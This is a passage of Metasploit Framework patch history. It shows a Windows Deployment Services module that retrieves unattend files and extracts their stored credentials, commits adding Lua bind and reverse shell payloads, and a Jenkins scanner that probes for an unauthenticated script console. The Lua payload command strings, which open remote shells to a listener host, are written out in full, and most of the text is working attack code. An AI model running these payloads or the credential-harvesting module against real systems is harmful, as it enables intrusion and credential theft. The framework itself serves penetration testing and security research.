:RESET_BOOT_PROGRAM => 256 + } - ARCHITECTURE = { - :X64 => 9, - :X86 => 0, - :IA64 => 6, - :ARM => 5 - } + ARCHITECTURE = { + :X64 => 9, + :X86 => 0, + :IA64 => 6, + :ARM => 5 + } - PACKET_TYPE = { - :REQUEST => 1, - :REPLY => 2 - } + PACKET_TYPE = { + :REQUEST => 1, + :REPLY => 2 + } - OPCODE = { - :IMG_ENUMERATE => 2, - :LOG_INIT => 3, - :LOG_MSG => 4, - :GET_CLIENT_UNATTEND => 5, - :GET_UNATTEND_VARIABLES => 6, - :GET_DOMAIN_JOIN_INFORMATION => 7, - :RESET_BOOT_PROGRAM => 8, - :GET_MACHINE_DRIVER_PACKAGES => 200 - } + OPCODE = { + :IMG_ENUMERATE => 2, + :LOG_INIT => 3, + :LOG_MSG => 4, + :GET_CLIENT_UNATTEND => 5, + :GET_UNATTEND_VARIABLES => 6, + :GET_DOMAIN_JOIN_INFORMATION => 7, + :RESET_BOOT_PROGRAM => 8, + :GET_MACHINE_DRIVER_PACKAGES => 200 + } - BASE_TYPE = { - :BYTE => 0x0001, - :USHORT => 0x0002, - :ULONG => 0x0004, - :ULONG64 => 0x0008, - :STRING => 0x0010, - :WSTRING => 0x0020, - :BLOB => 0x0040 - } + BASE_TYPE = { + :BYTE => 0x0001, + :USHORT => 0x0002, + :ULONG => 0x0004, + :ULONG64 => 0x0008, + :STRING => 0x0010, + :WSTRING => 0x0020, + :BLOB => 0x0040 + } - TYPE_MODIFIER = { - :NONE => 0x0000, - :ARRAY => 0x1000 - } + TYPE_MODIFIER = { + :NONE => 0x0000, + :ARRAY => 0x1000 + } end end diff --git a/lib/rex/proto/dcerpc/wdscp/packet.rb b/lib/rex/proto/dcerpc/wdscp/packet.rb index 7ccdfb60b7..f674e059ff 100644 --- a/lib/rex/proto/dcerpc/wdscp/packet.rb +++ b/lib/rex/proto/dcerpc/wdscp/packet.rb @@ -5,78 +5,78 @@ module DCERPC module WDSCP class Packet - WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants + WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants - def initialize(packet_type, opcode) - if opcode.nil? || packet_type.nil? - raise(ArgumentError, "Packet arguments cannot be nil") - end + def initialize(packet_type, opcode) + if opcode.nil? || packet_type.nil? + raise(ArgumentError, "Packet arguments cannot be nil") + end - @variables = [] - @packet_type = WDS_CONST::PACKET_TYPE[packet_type] - @opcode = WDS_CONST::OPCODE[opcode] - end + @variables = [] + @packet_type = WDS_CONST::PACKET_TYPE[packet_type] + @opcode = WDS_CONST::OPCODE[opcode] + end - def add_var(name, type_mod=0, value_length=nil, array_size=0, value) - padding = 0 - value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]] - name = Rex::Text.to_unicode(name).unpack('H*')[0] + def add_var(name, type_mod=0, value_length=nil, array_size=0, value) + padding = 0 + value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]] + name = Rex::Text.to_unicode(name).unpack('H*')[0] - value_length ||= value.length + value_length ||= value.length - # Variable block total size should be evenly divisible by 16. - len = 16 * (1 + (value_length/16)) - @variables << - [ name, - padding, - value_type, - type_mod, - value_length, - array_size, - value - ].pack('H132vvvVVa%i' % len) - end + # Variable block total size should be evenly divisible by 16. + len = 16 * (1 + (value_length/16)) + @variables << + [ name, + padding, + value_type, + type_mod, + value_length, + array_size, + value + ].pack('H132vvvVVa%i' % len) + end - def create - packet = [] - var_count = @variables.count + def create + packet = [] + var_count = @variables.count - packet_size = 0 - @variables.each do |var| - packet_size += var.length - end + packet_size = 0 + @variables.each do |var| + packet_size += var.length + end - # variables + operation - packet_size += 16 + # variables + operation + packet_size += 16 - # These bytes are not part of the spec but are not part of DCERPC according to Wireshark - # Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice... - packet << Rex::Text.pack_int64le(packet_size+40)*2 - packet << create_endpoint_header(packet_size) - packet << create_operation_header(packet_size, var_count, @packet_type, @opcode) - packet.concat(@variables) + # These bytes are not part of the spec but are not part of DCERPC according to Wireshark + # Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice... + packet << Rex::Text.pack_int64le(packet_size+40)*2 + packet << create_endpoint_header(packet_size) + packet << create_operation_header(packet_size, var_count, @packet_type, @opcode) + packet.concat(@variables) - return packet.join - end + return packet.join + end - def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode) - return [ packet_size, # PacketSize - 256, # Version - packet_type, # Packet_Type - 0, # Padding - opcode, # Opcode - var_count, # Variable Count - ].pack('VvCCVV') - end + def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode) + return [ packet_size, # PacketSize + 256, # Version + packet_type, # Packet_Type + 0, # Padding + opcode, # Opcode + var_count, # Variable Count + ].pack('VvCCVV') + end - def create_endpoint_header(packet_size) - return [ 40, # Header_Size - 256, # Version - packet_size, # Packet_Size - This doesn't differ from operation header despite the spec... - WDS_CONST::OS_DEPLOYMENT_GUID, # GUID - "\x00"*16, # Reserved - ].pack('vvVa16a16') - end + def create_endpoint_header(packet_size) + return [ 40, # Header_Size + 256, # Version + packet_size, # Packet_Size - This doesn't differ from operation header despite the spec... + WDS_CONST::OS_DEPLOYMENT_GUID, # GUID + "\x00"*16, # Reserved + ].pack('vvVa16a16') + end end end end diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index 119c44af1a..a411eb9592 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -12,210 +12,210 @@ require 'rex/parser/unattend' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::DCERPC - include Msf::Auxiliary::Report - include Msf::Auxiliary::Scanner + include Msf::Exploit::Remote::DCERPC + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner - DCERPCPacket = Rex::Proto::DCERPC::Packet - DCERPCClient = Rex::Proto::DCERPC::Client - DCERPCResponse = Rex::Proto::DCERPC::Response - DCERPCUUID = Rex::Proto::DCERPC::UUID - WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants + DCERPCPacket = Rex::Proto::DCERPC::Packet + DCERPCClient = Rex::Proto::DCERPC::Client + DCERPCResponse = Rex::Proto::DCERPC::Response + DCERPCUUID = Rex::Proto::DCERPC::UUID + WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval', - 'Description' => %q{ - This module retrieves the client unattend file from Windows - Deployment Services RPC service and parses out the stored credentials. - Tested against Windows 2008 R2 - }, - 'Author' => [ 'Ben Campbell ' ], - 'License' => MSF_LICENSE, - 'Version' => '', - 'References' => - [ - [ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'], - [ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html'] - ], - )) + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval', + 'Description' => %q{ + This module retrieves the client unattend file from Windows + Deployment Services RPC service and parses out the stored credentials. + Tested against Windows 2008 R2 + }, + 'Author' => [ 'Ben Campbell ' ], + 'License' => MSF_LICENSE, + 'Version' => '', + 'References' => + [ + [ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'], + [ 'URL', 'http://rewtdance.blogspot.co.uk/2012/11/windows-deployment-services-clear-text.html'] + ], + )) - register_options( - [ - Opt::RPORT(5040), - ], self.class) + register_options( + [ + Opt::RPORT(5040), + ], self.class) - deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion') + deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion') - register_advanced_options( - [ - OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false]) - ], self.class) - end + register_advanced_options( + [ + OptBool.new('ENUM_ARM', [true, 'Enumerate Unattend for ARM architectures (not currently supported by Windows and will cause an error in System Event Log)', false]) + ], self.class) + end - def run_host(ip) - begin - query_host(ip) - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("#{ip}:#{rport} error: #{e}") - end - end + def run_host(ip) + begin + query_host(ip) + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("#{ip}:#{rport} error: #{e}") + end + end - def query_host(rhost) - # Create a handler with our UUID and Transfer Syntax - self.handle = Rex::Proto::DCERPC::Handle.new( - [ - WDS_CONST::WDSCP_RPC_UUID, - '1.0', - '71710533-beba-4937-8319-b5dbef9ccc36', - 1 - ], - 'ncacn_ip_tcp', - rhost, - [datastore['RPORT']] - ) + def query_host(rhost) + # Create a handler with our UUID and Transfer Syntax + self.handle = Rex::Proto::DCERPC::Handle.new( + [ + WDS_CONST::WDSCP_RPC_UUID, + '1.0', + '71710533-beba-4937-8319-b5dbef9ccc36', + 1 + ], + 'ncacn_ip_tcp', + rhost, + [datastore['RPORT']] + ) - print_status("Binding to #{handle} ...") + print_status("Binding to #{handle} ...") - self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock) - print_good("Bound to #{handle}") + self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock) + print_good("Bound to #{handle}") - report_service( - :host => rhost, - :port => datastore['RPORT'], - :proto => 'tcp', - :name => "dcerpc", - :info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services" - ) + report_service( + :host => rhost, + :port => datastore['RPORT'], + :proto => 'tcp', + :name => "dcerpc", + :info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services" + ) - table = Rex::Ui::Text::Table.new({ - 'Header' => 'Windows Deployment Services', - 'Indent' => 1, - 'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password'] - }) + table = Rex::Ui::Text::Table.new({ + 'Header' => 'Windows Deployment Services', + 'Indent' => 1, + 'Columns' => ['Architecture', 'Type', 'Domain', 'Username', 'Password'] + }) - creds_found = false + creds_found = false - WDS_CONST::ARCHITECTURE.each do |architecture| - if architecture[0] == :ARM && !datastore['ENUM_ARM'] - vprint_status "Skipping #{architecture[0]} architecture due to adv option" - next - end + WDS_CONST::ARCHITECTURE.each do |architecture| + if architecture[0] == :ARM && !datastore['ENUM_ARM'] + vprint_status "Skipping #{architecture[0]} architecture due to adv option" + next + end - begin - result = request_client_unattend(architecture) - rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e - vprint_error(e.to_s) - print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") - return - end + begin + result = request_client_unattend(architecture) + rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e + vprint_error(e.to_s) + print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.") + return + end - unless result.nil? - loot_unattend(architecture[0], result) - results = parse_client_unattend(result) + unless result.nil? + loot_unattend(architecture[0], result) + results = parse_client_unattend(result) - results.each do |result| - unless result.empty? - unless result['username'].nil? || result['password'].nil? - print_good("Retrived #{result['type']} credentials for #{architecture[0]}") - creds_found = true - domain = "" - domain = result['domain'] if result['domain'] - report_creds(domain, result['username'], result['password']) - table << [architecture[0], result['type'], domain, result['username'], result['password']] - end - end - end - end - end + results.each do |result| + unless result.empty? + unless result['username'].nil? || result['password'].nil? + print_good("Retrived #{result['type']} credentials for #{architecture[0]}") + creds_found = true + domain = "" + domain = result['domain'] if result['domain'] + report_creds(domain, result['username'], result['password']) + table << [architecture[0], result['type'], domain, result['username'], result['password']] + end + end + end + end + end - if creds_found - print_line - table.print - print_line - else - print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.") - end - end + if creds_found + print_line + table.print + print_line + else + print_error("No Unattend files received, service is unlikely to be configured for completely unattended installation.") + end + end - def request_client_unattend(architecture) - # Construct WDS Control Protocol Message - packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND) - packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C')) - packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, - "\x35\x00\x36\x00\x34\x00\x44\x00\x41\x00\x36\x00\x31\x00\x44\x00"\ - "\x32\x00\x41\x00\x45\x00\x31\x00\x41\x00\x41\x00\x42\x00\x32\x00"\ - "\x38\x00\x36\x00\x34\x00\x46\x00\x34\x00\x34\x00\x46\x00\x32\x00"\ - "\x38\x00\x32\x00\x46\x00\x30\x00\x34\x00\x33\x00\x34\x00\x30\x00"\ - "\x00\x00") - packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, - "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\ - "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\ - "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x35\x00\x30\x00"\ - "\x35\x00\x36\x00\x33\x00\x35\x00\x31\x00\x41\x00\x37\x00\x35\x00"\ - "\x00\x00") - packet.add_var( WDS_CONST::VAR_NAME_VERSION,"\x00\x00\x00\x01\x00\x00\x00\x00") - wdsc_packet = packet.create + def request_client_unattend(architecture) + # Construct WDS Control Protocol Message + packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND) + packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C')) + packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, + "\x35\x00\x36\x00\x34\x00\x44\x00\x41\x00\x36\x00\x31\x00\x44\x00"\ + "\x32\x00\x41\x00\x45\x00\x31\x00\x41\x00\x41\x00\x42\x00\x32\x00"\ + "\x38\x00\x36\x00\x34\x00\x46\x00\x34\x00\x34\x00\x46\x00\x32\x00"\ + "\x38\x00\x32\x00\x46\x00\x30\x00\x34\x00\x33\x00\x34\x00\x30\x00"\ + "\x00\x00") + packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, + "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\ + "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\ + "\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x35\x00\x30\x00"\ + "\x35\x00\x36\x00\x33\x00\x35\x00\x31\x00\x41\x00\x37\x00\x35\x00"\ + "\x00\x00") + packet.add_var( WDS_CONST::VAR_NAME_VERSION,"\x00\x00\x00\x01\x00\x00\x00\x00") + wdsc_packet = packet.create - print_status("Sending #{architecture[0]} Client Unattend request ...") - response = dcerpc.call(0, wdsc_packet) + print_status("Sending #{architecture[0]} Client Unattend request ...") + response = dcerpc.call(0, wdsc_packet) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - vprint_status('Received response ...') - data = dcerpc.last_response.stub_data + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + vprint_status('Received response ...') + data = dcerpc.last_response.stub_data - # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000 - op_error_code = data.unpack('i*')[18] - if op_error_code == 0 - if data.length < 277 - vprint_error("No Unattend received for #{architecture[0]} architecture") - return nil - else - vprint_status("Received #{architecture[0]} unattend file ...") - return extract_unattend(data) - end - else - vprint_error("Error code received for #{architecture[0]}: #{op_error_code}") - return nil - end - end - end + # Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000 + op_error_code = data.unpack('i*')[18] + if op_error_code == 0 + if data.length < 277 + vprint_error("No Unattend received for #{architecture[0]} architecture") + return nil + else + vprint_status("Received #{architecture[0]} unattend file ...") + return extract_unattend(data) + end + else + vprint_error("Error code received for #{architecture[0]}: #{op_error_code}") + return nil + end + end + end - def extract_unattend(data) - start = data.index('')+10 - return data[start..finish] - end + def extract_unattend(data) + start = data.index('')+10 + return data[start..finish] + end - def parse_client_unattend(data) - begin - xml = REXML::Document.new(data) + def parse_client_unattend(data) + begin + xml = REXML::Document.new(data) - rescue REXML::ParseException => e - print_error("Invalid XML format") - vprint_line(e.message) - end + rescue REXML::ParseException => e + print_error("Invalid XML format") + vprint_line(e.message) + end - return Rex::Parser::Unattend.parse(xml).flatten - end + return Rex::Parser::Unattend.parse(xml).flatten + end - def loot_unattend(archi, data) - return if data.empty? - p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services") - print_status("Raw version of #{archi} saved as: #{p}") - end + def loot_unattend(archi, data) + return if data.empty? + p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services") + print_status("Raw version of #{archi} saved as: #{p}") + end - def report_creds(domain, user, pass) - report_auth_info( - :host => rhost, - :port => 4050, - :sname => 'dcerpc', - :proto => 'tcp', - :source_id => nil, - :source_type => "aux", - :user => "#{domain}\\#{user}", - :pass => pass) - end + def report_creds(domain, user, pass) + report_auth_info( + :host => rhost, + :port => 4050, + :sname => 'dcerpc', + :proto => 'tcp', + :source_id => nil, + :source_type => "aux", + :user => "#{domain}\\#{user}", + :pass => pass) + end end From 79e08c1560aaf91247774cf7c6b0f0c6728bc246 Mon Sep 17 00:00:00 2001 From: xistence Date: Mon, 16 Sep 2013 17:02:08 +0700 Subject: [PATCH 025/409] added LUA bind/reverse shells --- modules/payloads/singles/cmd/unix/bind_lua.rb | 56 +++++++++++++++++++ .../payloads/singles/cmd/unix/reverse_lua.rb | 56 +++++++++++++++++++ .../payloads/singles/cmd/windows/bind_lua.rb | 56 +++++++++++++++++++ .../singles/cmd/windows/reverse_lua.rb | 56 +++++++++++++++++++ 4 files changed, 224 insertions(+) create mode 100644 modules/payloads/singles/cmd/unix/bind_lua.rb create mode 100644 modules/payloads/singles/cmd/unix/reverse_lua.rb create mode 100644 modules/payloads/singles/cmd/windows/bind_lua.rb create mode 100644 modules/payloads/singles/cmd/windows/reverse_lua.rb diff --git a/modules/payloads/singles/cmd/unix/bind_lua.rb b/modules/payloads/singles/cmd/unix/bind_lua.rb new file mode 100644 index 0000000000..46b8ffa340 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/bind_lua.rb @@ -0,0 +1,56 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit4 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Bind TCP (via LUA)', + 'Description' => 'Listen for a connection and spawn a command shell via LUA', + 'Author' => + [ + 'xistence ', + ], + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'lua', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + "lua -e \"local s=require('socket');local s=assert(socket.bind('*',#{datastore['LPORT']}));local c=s:accept();while true do c:send('shell> ');local r,x=c:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));c:send(b);end;c:close();f:close();\"" + end + +end + diff --git a/modules/payloads/singles/cmd/unix/reverse_lua.rb b/modules/payloads/singles/cmd/unix/reverse_lua.rb new file mode 100644 index 0000000000..be3f742c40 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/reverse_lua.rb @@ -0,0 +1,56 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Unix Command Shell, Reverse TCP (via LUA)', + 'Description' => 'Creates an interactive shell via LUA', + 'Author' => + [ + 'xistence ', + ], + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'lua', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + "lua -e \"local s=require('socket');local t=assert(s.tcp());t:connect('#{datastore['LHOST']}',#{datastore['LPORT']});while true do t:send('shell> ');local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();\"" + end + +end + diff --git a/modules/payloads/singles/cmd/windows/bind_lua.rb b/modules/payloads/singles/cmd/windows/bind_lua.rb new file mode 100644 index 0000000000..83f22d9352 --- /dev/null +++ b/modules/payloads/singles/cmd/windows/bind_lua.rb @@ -0,0 +1,56 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit4 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows Command Shell, Bind TCP (via LUA)', + 'Description' => 'Listen for a connection and spawn a command shell via LUA', + 'Author' => + [ + 'xistence ', + ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'lua', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + "lua -e \"local s=require('socket');local s=assert(socket.bind('*',#{datastore['LPORT']}));local c=s:accept();while true do c:send('shell> ');local r,x=c:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));c:send(b);end;c:close();f:close();\"" + end + +end + diff --git a/modules/payloads/singles/cmd/windows/reverse_lua.rb b/modules/payloads/singles/cmd/windows/reverse_lua.rb new file mode 100644 index 0000000000..5992615afc --- /dev/null +++ b/modules/payloads/singles/cmd/windows/reverse_lua.rb @@ -0,0 +1,56 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Windows Command Shell, Reverse TCP (via LUA)', + 'Description' => 'Creates an interactive shell via LUA', + 'Author' => + [ + 'xistence ', + ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'lua', + 'Payload' => + { + 'Offsets' => { }, + 'Payload' => '' + } + )) + end + + # + # Constructs the payload + # + def generate + return super + command_string + end + + # + # Returns the command string to use for execution + # + def command_string + "lua -e \"local s=require('socket');local t=assert(s.tcp());t:connect('#{datastore['LHOST']}',#{datastore['LPORT']});while true do t:send('shell> ');local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();\"" + end + +end + From ea367d218c79c3ce96d2ee5ce5b8d8eb7881d168 Mon Sep 17 00:00:00 2001 From: jamcut Date: Tue, 17 Sep 2013 10:47:59 -0400 Subject: [PATCH 026/409] dded Jenkins vulnerability scanner --- .../scanner/http/jenkins_vulnscan.rb | 145 ++++++++++++++++++ 1 file changed, 145 insertions(+) create mode 100755 modules/auxiliary/scanner/http/jenkins_vulnscan.rb diff --git a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb new file mode 100755 index 0000000000..24261704ca --- /dev/null +++ b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb @@ -0,0 +1,145 @@ +## +# Some of this code was taken from the "jboss_vulnscan" module by: Tyler Krpata +## + +require 'rex/proto/http' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Jenkins Vulnerability Scanner', + 'Description' => %q{ + This module scans a Jenkins installation for a few vulnerablities. + }, + 'Author' => 'Jeff McCutchan', + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, "Path to Jenkins instance", "/jenkins/"]), + ], self.class) + end + + def run_host(ip) + res = send_request_cgi( + { + 'uri' => target_uri.path, #wanted to use a random path but Jenkins headers were not returned + 'method' => 'GET', + 'ctype' => 'text/plain', + }, 20) + if res + #check to see if we are dealing with a Jenkins installation + if not res.headers.include?('X-Jenkins') + print_status("#{rhost}:#{rport} responded with #{res.code} but does not seem to be Jenkins") if res.code != 404 + return + end + end + version = res.headers['X-Jenkins'] + vprint_status("#{rhost}:#{rport} Jenkins Version - #{version}") + apps = [ 'script', #exploit module for this + 'view/All/newJob', #possible to exploit manually maybe there will be a module in the future + 'systemInfo', #can disclose some useful information about the system + ] + apps.each do |app| + check_app(app, version) + end + end + + def check_app(app, version) + uri_path = normalize_uri(target_uri.path, app) + res = send_request_cgi({ + 'uri' => uri_path, + 'method' => 'GET', + 'ctype' => 'text/plain', + }, 20) + case (res.code) + when 200 + print_good("#{rhost}:#{rport} /#{app} does not require authentication (200)") + case app + when "systemInfo" + parse_system_info(res.body, version) + when "script" + report_vuln( + :host => rhost, + :port => rport, + :proto => 'tcp', + :sname => (ssl ? 'https' : 'http'), + :name => self.name, + :info => "Module #{self.fullname} confirmed access to the Jenkins Script Console with no authentication" + ) + end + when 403 + vprint_status("#{rhost}:#{rport} #{app} restricted (403)") + when 401 + vprint_status("#{rhost}:#{rport} #{app} requires authentication (401): #{res.headers['WWW-Authenticate']}") + when 404 + vprint_status("#{rhost}:#{rport} #{app} not found (404)") + when 301 + vprint_status("#{rhost}:#{rport} #{app} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") + when 302 + vprint_status("#{rhost}:#{rport} #{app} is redirected (#{res.code}) to #{res.headers['Location']} (not following)") + else + vprint_status("#{rhost}:#{rport} Don't know how to handle response code #{res.code}") + end + end + + + def parse_system_info(body, version) + vprint_status("#{rhost}:#{rport} getting useful information from /systemInfo") + infos = ["os.name", "sun.os.patch.level", "os.arch", "user.name", "USERDOMAIN", "SHELL"] + out = [] + if version.to_f < 1.526 #html parsing is version dependent + lines = body.split('') + infos.each do |info| + lines.each do |line| + next if not line.include? info + line = line.sub('', '') + line = line.sub(info, '') + line = line.sub('', '') + line = line.sub('', '') + out.push(info) + out.push(line) + end + end + elsif version.to_f >= 1.526 + lines = body.split('') + infos.each do |info| + lines.each do |line| + next if not line.include? info + line = line.sub('', '') + line = line.sub(info, '') + line = line.strip + out.push(info) + out.push(line) + end + end + end + #print out the goodies + out = out.uniq + out.each do |o| + dex = out.index(o) + case o + when "os.name" + print(" OS: " + out[dex+1] + "\n") + when "sun.os.patch.level" + print(" Patch Level: " + out[dex+1] + "\n") + when "os.arch" + print(" Arch: " + out[dex+1] + "\n") + when "user.name" + print(" User: " + out[dex+1] + "\n") + when "USERDOMAIN" + print(" Domain: " + out[dex+1] + "\n") + when "SHELL" + print(" Shell: " + out[dex+1] + "\n") + end + end + print("\n") + end +end From 4aeb7541124105949fff9bbed620966e2e7ae968 Mon Sep 17 00:00:00 2001 From: jamcut Date: Tue, 17 Sep 2013 11:20:45 -0400 Subject: [PATCH 027/409] Minor Changes changed print calls to print_line removed trailing \n's used default timeout for send_request_cgi --- .../auxiliary/scanner/http/jenkins_vulnscan.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb index 24261704ca..4d3d2d6057 100755 --- a/modules/auxiliary/scanner/http/jenkins_vulnscan.rb +++ b/modules/auxiliary/scanner/http/jenkins_vulnscan.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Auxiliary 'uri' => target_uri.path, #wanted to use a random path but Jenkins headers were not returned 'method' => 'GET', 'ctype' => 'text/plain', - }, 20) + }) if res #check to see if we are dealing with a Jenkins installation if not res.headers.include?('X-Jenkins') @@ -127,19 +127,19 @@ class Metasploit3 < Msf::Auxiliary dex = out.index(o) case o when "os.name" - print(" OS: " + out[dex+1] + "\n") + print_line(" OS: " + out[dex+1]) when "sun.os.patch.level" - print(" Patch Level: " + out[dex+1] + "\n") + print_line(" Patch Level: " + out[dex+1]) when "os.arch" - print(" Arch: " + out[dex+1] + "\n") + print_line(" Arch: " + out[dex+1]) when "user.name" - print(" User: " + out[dex+1] + "\n") + 